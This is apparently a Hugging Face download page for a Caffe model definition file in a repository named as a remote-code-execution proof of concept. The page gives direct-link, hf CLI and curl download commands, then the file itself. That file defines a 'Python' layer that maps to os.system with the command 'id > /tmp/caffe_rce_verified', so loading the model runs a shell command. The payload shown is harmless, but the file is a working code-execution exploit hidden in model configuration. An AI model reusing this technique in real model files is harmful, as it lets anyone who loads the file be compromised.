Download deploy.prototxt from xiaoyaoes/caffe-pythonlayer-rce-poc: direct link, hf CLI and curl.
- Browser
- Download file 350 Bytes
-
https://huggingface.co/xiaoyaoes/caffe-pythonlayer-rce-poc/resolve/main/deploy.prototxt
- Command line
-
hf download hf://xiaoyaoes/caffe-pythonlayer-rce-poc/deploy.prototxt
-
curl -L -o deploy.prototxt https://huggingface.co/xiaoyaoes/caffe-pythonlayer-rce-poc/resolve/main/deploy.prototxt
350 Bytes
| name: "RCE_Net" | |
| input: "data" | |
| input_shape { | |
| dim: 1 | |
| dim: 3 | |
| dim: 224 | |
| dim: 224 | |
| } | |
| layer { | |
| name: "exploit" | |
| type: "Python" | |
| bottom: "data" | |
| top: "exploit" | |
| python_param { | |
| module: "os" | |
| layer: "system" | |
| param_str: "id > /tmp/caffe_rce_verified" | |
| } | |
| } | |
| layer { | |
| name: "output" | |
| type: "Softmax" | |
| bottom: "exploit" | |
| top: "output" | |
| } | |